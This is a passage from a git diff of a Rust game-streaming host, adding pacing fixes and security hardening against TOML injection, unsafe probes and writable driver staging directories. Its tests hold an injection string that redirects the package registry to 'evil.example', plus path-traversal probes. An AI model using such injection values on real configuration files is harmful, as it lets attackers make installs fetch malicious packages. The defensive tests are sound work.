[`park_pointer`]). #[cfg(target_os = "linux")] - pub(super) input_tx: std::sync::mpsc::Sender, + pub(super) input_tx: std::sync::mpsc::SyncSender, } /// Park the seat pointer at the centre of the streamed surface, through the SAME injection path @@ -1336,7 +1325,7 @@ pub(super) struct SessionContext { /// output's edge — pins the pointer to the surface the client actually sees. A desktop-model /// client overrides it with its first absolute move, so the jump is invisible in practice. #[cfg(target_os = "linux")] -fn park_pointer(input_tx: &std::sync::mpsc::Sender, w: u32, h: u32) { +fn park_pointer(input_tx: &std::sync::mpsc::SyncSender, w: u32, h: u32) { let ev = punktfunk_core::input::InputEvent { kind: punktfunk_core::input::InputKind::MouseMoveAbs, _pad: [0; 3], @@ -1347,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender, w // matches the streamed output by exactly these dims. flags: (w << 16) | (h & 0xffff), }; - if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() { + // `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a + // best-effort nicety and must never block the stream loop behind a full input backlog. + if input_tx + .try_send(super::input::ClientInput::Event(ev)) + .is_ok() + { tracing::info!( w, h, diff --git a/crates/punktfunk-host/src/send_pacing.rs b/crates/punktfunk-host/src/send_pacing.rs index eca69999..ae205e54 100644 --- a/crates/punktfunk-host/src/send_pacing.rs +++ b/crates/punktfunk-host/src/send_pacing.rs @@ -55,7 +55,7 @@ pub(crate) enum ChunkPolicy { } /// The time the paced (post-burst) packets spread across. -#[derive(Clone, Copy, Debug)] +#[derive(Clone, Copy, Debug, PartialEq)] pub(crate) enum PaceBudget { /// `min((deadline − now-after-burst) × fraction, cap)`, collapsing to 0 with no slack /// (native: fraction 0.9). `cap` bounds the spread to the time the overflow actually needs @@ -68,10 +68,53 @@ pub(crate) enum PaceBudget { fraction: f32, cap: Duration, }, - /// A precomputed fixed budget (GameStream: ¾ of the frame interval). + /// A precomputed fixed budget (GameStream: ¾ of the frame interval; native: the rate-cap + /// spread from [`native_budget`]). Fixed(Duration), } +/// Absolute ceiling on one frame's paced spread (native plane): a pathological frame must not +/// park the send thread for longer than this, whatever the rate math says. At the ceiling the +/// tail is late but delivered whole — still strictly better than the blast-loss → freeze → +/// recovery-IDR round trip it replaces. +pub(crate) const MAX_PACE_SPREAD: Duration = Duration::from_millis(100); + +/// The native plane's pace budget for one frame (pure — unit-tested): with the T1.2 rate cap +/// active, the paced overflow spreads across exactly the time it needs at the pace rate +/// (`cap`, bounded by [`MAX_PACE_SPREAD`]) and is NEVER under-cut by the frame deadline. +/// +/// The old schedule took `min(0.9 × time-to-deadline, cap)`. For a steady-state frame the cap +/// is the smaller term and nothing changes. But for an OVERSIZED frame — a stall-resume scene +/// delta after seconds of frozen composition, a cold IDR — the overflow needs SEVERAL frame +/// intervals at the pace rate, and the deadline term clamped that into the remainder of ONE: +/// an instantaneous many-×-stream-rate blast that overruns the socket tx-buffer and loses the +/// very frame that would have ended the freeze (field fingerprint: WSAENOBUFS 10055 + +/// `loss_ppm` spikes at capture-stall edges, then a recovery-IDR round trip per retry). The +/// pace rate is ~3× a rate the link demonstrably carries, so holding it past the deadline is +/// safe by the same argument that introduced the cap — the deadline stays a *target*, not a +/// license to blast. +/// +/// `pace_rate_bps == 0` (PUNKTFUNK_PACE_FACTOR=0) or an overflow-free frame keeps the legacy +/// deadline-only spread. +pub(crate) fn native_budget( + deadline: Instant, + pace_rate_bps: u64, + overflow_bytes: u64, +) -> PaceBudget { + if pace_rate_bps > 0 && overflow_bytes > 0 { + let cap = Duration::from_nanos( + (overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps, + ); + PaceBudget::Fixed(cap.min(MAX_PACE_SPREAD)) + } else { + PaceBudget::UntilDeadline { + deadline, + fraction: 0.9, + cap: Duration::MAX, + } + } +} + /// Per-plane pacing parameters. See the module doc for the two canonical values. #[derive(Clone, Copy, Debug)] pub(crate) struct PaceCfg { @@ -598,6 +641,43 @@ mod tests { ); } + /// [`native_budget`]: with the rate cap active the budget is the overflow's wire time at + /// the pace rate — a FIXED spread the deadline can no longer under-cut — bounded by + /// [`MAX_PACE_SPREAD`]; rate 0 / no overflow keep the legacy deadline-only schedule. + #[test] + fn native_budget_is_rate_bound_never_deadline_cut() { + // The stall-resume case the fix exists for: a 3 MB overflow at 3×240 Mbps needs + // ~33 ms — an IMMINENT deadline (the old min() made this a blast) must not shrink it. + let deadline = Instant::now() + Duration::from_millis(4); // 240 fps interval + let b = native_budget(deadline, 720_000_000, 3_000_000); + assert_eq!(b, PaceBudget::Fixed(Duration::from_nanos(33_333_333))); + + // A steady-state frame: overflow 90 KB at 3×240 Mbps = 1 ms — identical to what the + // old min(slack, cap) chose (cap was the smaller term), so nothing regresses. + let b = native_budget(deadline, 720_000_000, 90_000); + assert_eq!(b, PaceBudget::Fixed(Duration::from_micros(1_000))); + + // A crater-rate resume (ABR backed off to 20 Mbps, pace 60 Mbps): the raw rate math + // says 400 ms for 3 MB — the absolute ceiling bounds the send thread's stall. + let b = native_budget(deadline, 60_000_000, 3_000_000); + assert_eq!(b, PaceBudget::Fixed(MAX_PACE_SPREAD)); + + // Rate cap off (PUNKTFUNK_PACE_FACTOR=0): the legacy deadline-only spread, uncapped. + let b = native_budget(deadline, 0, 3_000_000); + assert!(matches!( + b, + PaceBudget::UntilDeadline { + fraction, + cap: Duration::MAX, + .. + } if fraction == 0.9 + )); + + // No overflow (the whole frame bursts): budget is never consulted — legacy shape. + let b = native_budget(deadline, 720_000_000, 0); + assert!(matches!(b, PaceBudget::UntilDeadline { .. })); + } + /// `inject_video_drop` is a no-op when the knob is off (the default test env). #[test] fn drop_injection_off_by_default() { diff --git a/crates/punktfunk-host/src/store.rs b/crates/punktfunk-host/src/store.rs index 005bd7f7..2a714c72 100644 --- a/crates/punktfunk-host/src/store.rs +++ b/crates/punktfunk-host/src/store.rs @@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { out } +/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a +/// registry: absolute https, bounded, and built only from characters that appear in a real URL. +/// +/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this +/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original +/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no +/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early. +fn valid_registry_url(url: &str) -> bool { + let Some(rest) = url.strip_prefix("https://") else { + return false; + }; + !rest.is_empty() + && url.len() <= 512 + && rest.chars().all(|c| { + c.is_ascii_alphanumeric() + || matches!( + c, + '-' | '.' + | '_' + | '~' + | ':' + | '/' + | '?' + | '#' + | '[' + | ']' + | '@' + | '!' + | '$' + | '&' + | '\'' + | '(' + | ')' + | '*' + | '+' + | ',' + | ';' + | '=' + | '%' + ) + }) +} + /// Point a package scope at its registry in the plugins dir's `bunfig.toml`. /// /// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on @@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec { /// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already /// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives. pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> { - // The scope and URL both come from a signature-verified, field-validated index entry - // (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML. - if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") { + // Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be + // proven unable to close the quote. + // + // The scope always was. The URL was not: its only guard was `starts_with("https://")`, and + // `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through + // `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry + // read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]` + // table into the file that tells `bun` where to fetch EVERY package from — and it persists + // after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7). + // Sources may be unsigned, so "it came from a verified index" was not a guarantee either. + if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) { bail!("refusing to map scope `{scope}` to `{url}`"); } std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?; @@ -679,6 +730,49 @@ mod tests { assert!(!dir.path().join("bunfig.toml").exists()); } + /// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never + /// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so + /// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The + /// payload that mattered injects a top-level `[install]` table, redirecting every subsequent + /// package resolution, and survives deletion of the source that introduced it. + #[test] + fn bunfig_registry_url_cannot_inject_a_toml_table() { + let dir = tempfile::tempdir().unwrap(); + let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/"; + assert!( + ensure_bunfig_scope(dir.path(), "@x", injection).is_err(), + "a registry URL that closes the TOML string must be refused" + ); + assert!(!dir.path().join("bunfig.toml").exists()); + + // The individual characters that make it possible, each on its own. + for bad in [ + "https://e/\"quote", + "https://e/\nnewline", + "https://e/\rcarriage", + "https://e/ space", + "https://e/\ttab", + "https://e/back\\slash", + "https://e/nul\0byte", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", bad).is_err(), + "must refuse registry URL {bad:?}" + ); + } + // Real registry URLs — including ports, query strings and percent-escapes — still pass. + for good in [ + "https://git.unom.io/api/packages/unom/npm/", + "https://registry.example.com:8443/npm/", + "https://example.com/npm/?token=abc%20def", + ] { + assert!( + ensure_bunfig_scope(dir.path(), "@x", good).is_ok(), + "must accept registry URL {good:?}" + ); + } + } + /// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`. /// /// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule diff --git a/crates/punktfunk-host/src/store/index.rs b/crates/punktfunk-host/src/store/index.rs index cecea4c2..2471a772 100644 --- a/crates/punktfunk-host/src/store/index.rs +++ b/crates/punktfunk-host/src/store/index.rs @@ -97,6 +97,31 @@ pub(crate) struct Entry { /// Host platforms this plugin works on (`linux`/`windows`/`macos`). Empty ⇒ all. #[serde(default)] pub platforms: Vec, + /// What kinds of plugin this is (`[a-z][a-z0-9-]{0,31}`, ≤4). The console filters Browse by + /// these, and the Game sources surface's "Add a source" rail lists exactly the entries carrying + /// `library` (design D5/D6). Additive: an older host ignores the field, a newer one just sees no + /// categories on an older index. + #[serde(default)] + pub categories: Vec, + /// Optional per-platform "is this launcher installed here?" probes (design D8). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detect: Option, +} + +/// Existence probes that let the console badge a catalog row "detected on this host" **without the +/// host re-growing per-store knowledge** — the whole point of extracting the scanners. Store +/// knowledge lives in the updatable, signed index; the host stays generic and only evaluates. +/// +/// Deliberately anaemic: a probe is a path or an `HKLM\…` registry key, checked for EXISTENCE only. +/// No reads, no content matching, no globbing beyond a single `*` segment. The index is +/// operator-trusted but remotely updatable, so a probe must never be able to exfiltrate anything or +/// cost more than a stat. +#[derive(Debug, Clone, Default, Deserialize, Serialize)] +pub(crate) struct DetectProbes { + #[serde(default)] + pub linux: Vec, + #[serde(default)] + pub windows: Vec, } #[derive(Debug, Clone, Deserialize, Serialize)] @@ -228,9 +253,40 @@ impl Entry { self.platforms .retain(|p| matches!(p.as_str(), "linux" | "windows" | "macos")); self.platforms.truncate(4); + // Categories and probes are cosmetic/advisory: a malformed one is dropped, never fatal to + // the entry — a plugin must stay installable even if a future index writes a category this + // host build has never heard of. + self.categories.retain(|c| valid_category(c)); + self.categories.truncate(4); + if let Some(d) = &mut self.detect { + d.linux.retain(|p| valid_probe(p)); + d.windows.retain(|p| valid_probe(p)); + d.linux.truncate(MAX_PROBES); + d.windows.truncate(MAX_PROBES); + if d.linux.is_empty() && d.windows.is_empty() { + self.detect = None; + } + } Ok(()) } + /// Does this entry's platform probe match on the running host? `None` = the entry declares no + /// probes for this platform, i.e. "unknown", which the console renders differently from "no". + pub(crate) fn detected(&self) -> Option { + let probes = self.detect.as_ref()?; + let list = if cfg!(windows) { + &probes.windows + } else if cfg!(target_os = "linux") { + &probes.linux + } else { + return None; + }; + if list.is_empty() { + return None; + } + Some(list.iter().any(|p| probe_matches(p))) + } + /// Is this entry installable on the running host? Returns the operator-facing reason when not. pub(crate) fn incompatible_reason(&self) -> Option { if !self.platforms.is_empty() && !self.platforms.iter().any(|p| p == HOST_PLATFORM) { @@ -372,6 +428,94 @@ fn is_https(url: &str) -> bool { url.starts_with("https://") && url.len() > "https://".len() } +/// A plugin category (design D5): same shape the registration API accepts, so a plugin's declared +/// category and its catalog row can never disagree about spelling. +fn valid_category(c: &str) -> bool { + (1..=32).contains(&c.len()) + && c.starts_with(|ch: char| ch.is_ascii_lowercase()) + && c.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') +} + +/// How many probes one platform may declare — a handful of well-chosen paths covers any launcher, +/// and the cap bounds the stat cost of rendering the catalog. +const MAX_PROBES: usize = 8; + +/// Is this a probe the host will evaluate? An **absolute** filesystem path with at most one `*` +/// segment, or an `HKLM\…` registry key. Everything else is dropped. +/// +/// The restrictions are the security model (D8). Absolute: a relative path would resolve against +/// whatever the host's cwd happens to be. One `*` segment: bounded fan-out, so a probe can't walk a +/// tree. `HKLM` only: `HKCU` is unreadable as LocalService anyway, and pointing the host at an +/// arbitrary hive is not something a remote index should be able to ask for. +fn valid_probe(p: &str) -> bool { + if p.is_empty() || p.len() > 260 { + return false; + } + if let Some(key) = p.strip_prefix("HKLM\\") { + return !key.is_empty() + && !key.contains("..") + && key.bytes().all(|b| { + b.is_ascii_alphanumeric() || matches!(b, b'\\' | b' ' | b'-' | b'_' | b'.') + }); + } + let b = p.as_bytes(); + let absolute = p.starts_with('/') || (b.len() >= 3 && b[1] == b':' && b[2] == b'\\'); + // No traversal, and at most ONE wildcard segment (`~` is not expanded — the host runs as a + // service account whose home means nothing to a user's launcher install). + absolute && !p.contains("..") && p.matches('*').count() <= 1 +} + +/// Evaluate one probe: does the path (or registry key) exist? Existence only — never a read. +fn probe_matches(p: &str) -> bool { + #[cfg(windows)] + if let Some(key) = p.strip_prefix("HKLM\\") { + use std::os::windows::process::CommandExt; + // `reg.exe query` rather than a registry crate: dependency-free, and it is exactly what a + // library plugin will use for the same job under LocalService. + const CREATE_NO_WINDOW: u32 = 0x0800_0000; + return std::process::Command::new("reg.exe") + .args(["query", &format!("HKLM\\{key}")]) + .creation_flags(CREATE_NO_WINDOW) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status() + .map(|s| s.success()) + .unwrap_or(false); + } + #[cfg(not(windows))] + if p.starts_with("HKLM\\") { + return false; // a Windows probe on a POSIX host is simply not a match + } + match p.split_once('*') { + None => std::path::Path::new(p).exists(), + // One wildcard: list the parent of the wildcard segment and match the fixed prefix/suffix + // around it. Bounded to a single directory read. + Some((before, after)) => { + let (dir, prefix) = match before.rfind(['/', '\\']) { + Some(i) => (&before[..=i], &before[i + 1..]), + None => return false, // a wildcard with no directory to anchor it + }; + let (suffix, rest) = match after.find(['/', '\\']) { + Some(i) => (&after[..i], &after[i..]), + None => (after, ""), + }; + let Ok(read) = std::fs::read_dir(dir) else { + return false; + }; + read.flatten().any(|e| { + let name = e.file_name(); + let name = name.to_string_lossy(); + name.starts_with(prefix) + && name.ends_with(suffix) + && name.len() >= prefix.len() + suffix.len() + && (rest.is_empty() + || e.path().join(rest.trim_start_matches(['/', '\\'])).exists()) + }) + } + } +} + #[cfg(test)] mod tests { use super::*; @@ -401,6 +545,73 @@ mod tests { assert!(Index::parse(b"not json").is_err()); } + /// WP2.8 is additive on purpose — SCHEMA stays 1. An index written by a newer curator must load + /// on an older host (unknown fields ignored) and vice versa (absent fields default), or the + /// signed-index rollout would need a flag day. + #[test] + fn categories_and_probes_are_additive_and_sanitized() { + // An entry with NEITHER field — every index in the wild today. + let e = &Index::parse(&doc(GOOD)).unwrap().plugins[0]; + assert!(e.categories.is_empty()); + assert!(e.detect.is_none()); + assert_eq!(e.detected(), None, "no probes ⇒ unknown, not `false`"); + + // With both, including rows that must be dropped rather than fail the entry. + let rich = GOOD.trim_end_matches('}').to_string() + + r#","categories":["library","Bad Cat","x","y","z","w"], + "detect":{"linux":["/usr/bin/steam","relative/path","/etc/../etc/passwd"], + "windows":["HKLM\\SOFTWARE\\Valve\\Steam","HKCU\\SOFTWARE\\Valve"]}}"#; + let e = &Index::parse(&doc(&rich)).unwrap().plugins[0]; + assert_eq!( + e.categories, + ["library", "x", "y", "z"], + "malformed dropped, capped at 4" + ); + let d = e.detect.as_ref().expect("probes kept"); + assert_eq!(d.linux, ["/usr/bin/steam"], "relative + traversal dropped"); + assert_eq!( + d.windows, + ["HKLM\\SOFTWARE\\Valve\\Steam"], + "HKCU is not evaluable as LocalService — dropped" + ); + } + + #[test] + fn probe_shapes_are_bounded() { + assert!(valid_probe("/usr/bin/steam")); + assert!( + valid_probe("/home/*/.steam"), + "one wildcard segment is fine" + ); + assert!(valid_probe(r"C:\Program Files (x86)\Steam\steam.exe")); + assert!(valid_probe(r"HKLM\SOFTWARE\WOW6432Node\Valve\Steam")); + // Rejected: relative, traversal, more than one wildcard, other hives, absurd length. + assert!(!valid_probe("steam")); + assert!(!valid_probe("/usr/../etc/passwd")); + assert!(!valid_probe("/home/*/games/*/steam")); + assert!(!valid_probe(r"HKCU\SOFTWARE\Valve")); + assert!(!valid_probe("")); + assert!(!valid_probe(&"/x".repeat(200))); + } + + /// The evaluator does existence checks only, against real paths, and never reads a byte. + #[test] + fn probes_evaluate_against_the_filesystem() { + let dir = std::env::temp_dir().join(format!("pf-probe-{}", std::process::id())); + let nested = dir.join("SteamLibrary-42"); + std::fs::create_dir_all(nested.join("steamapps")).unwrap(); + let d = dir.to_string_lossy().into_owned(); + + assert!(probe_matches(&format!("{d}/SteamLibrary-42"))); + assert!(!probe_matches(&format!("{d}/nope"))); + // One wildcard segment, with and without a trailing fixed component. + assert!(probe_matches(&format!("{d}/SteamLibrary-*"))); + assert!(probe_matches(&format!("{d}/SteamLibrary-*/steamapps"))); + assert!(!probe_matches(&format!("{d}/SteamLibrary-*/nope"))); + assert!(!probe_matches(&format!("{d}/Other-*"))); + let _ = std::fs::remove_dir_all(&dir); + } + #[test] fn drops_invalid_entries_but_keeps_the_rest() { let bad_unscoped = GOOD.replace("@punktfunk/plugin-rom-manager", "punktfunk-plugin-x"); diff --git a/crates/punktfunk-host/src/windows/install.rs b/crates/punktfunk-host/src/windows/install.rs index edf96619..a1f04552 100644 --- a/crates/punktfunk-host/src/windows/install.rs +++ b/crates/punktfunk-host/src/windows/install.rs @@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> { fn driver_install(args: &[String]) -> Result<()> { let dir = PathBuf::from(flag_val(args, "--dir").context("driver install: --dir required")?); + // Everything below this line runs with the caller's privileges — which, on the installer path, + // are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a + // `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into + // the driver store. So the directory is not merely an input, it is code and trust; a stage a + // non-admin can write is a local privilege escalation, whoever passed the flag. + // + // This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually + // in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's + // plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`). + ensure_admin_only_source(&dir).with_context(|| { + format!( + "refusing to install drivers from {} — the staging directory must be writable only by \ + SYSTEM/Administrators", + dir.display() + ) + })?; let gamepad = flag_present(args, "--gamepad"); let (what, res) = if gamepad { ("gamepad", install_gamepad(&dir)) @@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> { Ok(()) } +/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write. +/// +/// Two conditions, both necessary: +/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always +/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the +/// DACL currently says; +/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR +/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is +/// precisely what keeps handing them control of everything inside. +/// +/// Reads the security descriptor directly rather than parsing `icacls` output, which prints +/// *localized account names* — the same class of locale trap this whole module exists to avoid. +#[cfg(windows)] +fn ensure_admin_only_source(dir: &Path) -> Result<()> { + use std::os::windows::ffi::OsStrExt; + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT}; + use windows::Win32::Security::{ + EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL, + DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID, + }; + + const ACCESS_ALLOWED_ACE_TYPE: u8 = 0; + /// Rights that let a trustee change what we are about to trust and execute: write/append data, + /// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the + /// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and + /// both generic bits are checked explicitly in case an ACE stores them unmapped. + const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE + | 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY + | 0x0000_0010 // FILE_WRITE_EA + | 0x0000_0100 // FILE_WRITE_ATTRIBUTES + | 0x0000_0040 // FILE_DELETE_CHILD + | 0x0001_0000 // DELETE + | 0x0004_0000 // WRITE_DAC + | 0x0008_0000 // WRITE_OWNER + | 0x1000_0000 // GENERIC_ALL + | 0x4000_0000; // GENERIC_WRITE + + if !dir.is_dir() { + bail!("{} is not a directory", dir.display()); + } + let wide: Vec = dir + .as_os_str() + .encode_wide() + .chain(std::iter::once(0)) + .collect(); + + let mut owner = PSID::default(); + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the + // returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it). + let rc = unsafe { + GetNamedSecurityInfoW( + PCWSTR(wide.as_ptr()), + SE_FILE_OBJECT, + OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, + Some(&mut owner), + None, + Some(&mut dacl), + None, + &mut sd, + ) + }; + + let verdict = (|| -> Result<()> { + rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?; + let privileged = privileged_sids()?; + // SAFETY: `owner` points into the descriptor returned above and is valid for this scope. + let is_privileged = |sid: PSID| -> bool { + if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() { + return false; + } + privileged + .iter() + .any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok()) + }; + + if !is_privileged(owner) { + bail!( + "the directory is owned by a non-administrative account, which retains WRITE_DAC \ + and can restore its own access at any time" + ); + } + // A NULL DACL grants everyone everything; an absent one is not "no access". + if dacl.is_null() { + bail!("the directory has a NULL DACL (everyone has full control)"); + } + // SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index. + let count = unsafe { (*dacl).AceCount }; + for i in 0..count as u32 { + let mut ace: *mut core::ffi::c_void = std::ptr::null_mut(); + // SAFETY: i < AceCount, and `ace` is a live out-param. + unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?; + // SAFETY: every ACE starts with an ACE_HEADER. + let header = unsafe { *(ace as *const ACE_HEADER) }; + if header.AceType != ACCESS_ALLOWED_ACE_TYPE { + continue; // deny ACEs only ever subtract; audit ACEs grant nothing + } + // SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID. + let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) }; + if allowed.Mask & WRITE_MASK == 0 { + continue; // read-only for this trustee — harmless + } + let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void); + if !is_privileged(sid) { + bail!( + "a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \ + anything staged here can be replaced before it is trusted or executed", + allowed.Mask + ); + } + } + Ok(()) + })(); + + // SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned. + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + verdict +} + +/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`, +/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage). +#[cfg(windows)] +fn privileged_sids() -> Result>> { + use windows::core::PCWSTR; + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::ConvertStringSidToSidW; + use windows::Win32::Security::{GetLengthSid, PSID}; + + [ + "S-1-5-18", + "S-1-5-32-544", + "S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", + ] + .iter() + .map(|s| { + let wide: Vec = s.encode_utf16().chain(std::iter::once(0)).collect(); + let mut psid = PSID::default(); + // SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param. + unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) } + .with_context(|| format!("ConvertStringSidToSidW({s})"))?; + // SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes. + let len = unsafe { GetLengthSid(psid) } as usize; + let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec(); + // SAFETY: ConvertStringSidToSidW allocates with LocalAlloc. + unsafe { + let _ = LocalFree(Some(HLOCAL(psid.0))); + } + Ok(bytes) + }) + .collect() +} + /// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` / /// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we /// find our own certs again without parsing any localized output — see `purge_driver_certs`. @@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> { PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir required")?); let pw_file = flag_val(args, "--password-file"); let data_dir = pf_paths::config_dir(); - std::fs::create_dir_all(&data_dir).ok(); + // `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else + // touches the config dir, and the very next line writes the console login password into it. A + // plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may + // create files — so the one call that most needs the hardened directory was the one creating it + // unhardened (2026-08-05 review H-4). + pf_paths::create_private_dir(&data_dir).ok(); // 1. login password set_web_password(&data_dir.join("web-password"), pw_file.as_deref()); @@ -477,39 +655,51 @@ fn web_setup(args: &[String]) -> Result<()> { server.display() ); } - // 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's - // identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.) - // Scoped to the same profiles as the streaming ports — Domain + Private by default, Public - // only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it - // instead of stacking a second (possibly all-profiles) rule behind the new one. + // 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS + // (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC + // against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports — + // Domain + Private by default, Public only with `--allow-public-network`. Delete any prior + // rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles) + // rule behind the new one. + // + // 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there + // precisely so a plugin cannot act as the logged-in operator on the console's origin + // (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is + // what makes it a different origin to the browser while staying same-site for the session + // cookie. Without this rule, plugin interfaces simply do not load from another device. let fw_profile = crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?); - run_quiet( - "netsh", - &[ - "advfirewall", - "firewall", - "delete", - "rule", - "name=Punktfunk web console (TCP 47992)", - ], - ); - if !run_quiet( - "netsh", - &[ - "advfirewall", - "firewall", - "add", - "rule", - "name=Punktfunk web console (TCP 47992)", - "dir=in", - "action=allow", - "protocol=TCP", - "localport=47992", - fw_profile, - ], - ) { - eprintln!("warning: could not add the firewall rule for TCP 47992"); + for (name, port) in [ + ("Punktfunk web console (TCP 47992)", "47992"), + ("Punktfunk plugin UIs (TCP 47993)", "47993"), + ] { + run_quiet( + "netsh", + &[ + "advfirewall", + "firewall", + "delete", + "rule", + &format!("name={name}"), + ], + ); + if !run_quiet( + "netsh", + &[ + "advfirewall", + "firewall", + "add", + "rule", + &format!("name={name}"), + "dir=in", + "action=allow", + "protocol=TCP", + &format!("localport={port}"), + fw_profile, + ], + ) { + eprintln!("warning: could not add the firewall rule for TCP {port}"); + } } // No start step: the PunktfunkHost service supervises the console and starts it the moment the // host has written the files it needs (mgmt token + identity cert/key) — there is nothing an diff --git a/crates/punktfunk-host/src/windows/service.rs b/crates/punktfunk-host/src/windows/service.rs index 35e0f06b..efdbb2da 100644 --- a/crates/punktfunk-host/src/windows/service.rs +++ b/crates/punktfunk-host/src/windows/service.rs @@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> { /// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor. fn ensure_default_host_env() -> Result<()> { let path = host_env_path(); - if path.exists() { - return Ok(()); - } + // Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the + // branch that creates the file. + // + // The 2026-08-05 review's H-4: this used to return early when host.env already existed, which + // skipped the very `create_private_dir` whose reason for existing is "so a local user can't + // pre-create it and plant a host.env". `C:\ProgramData` grants 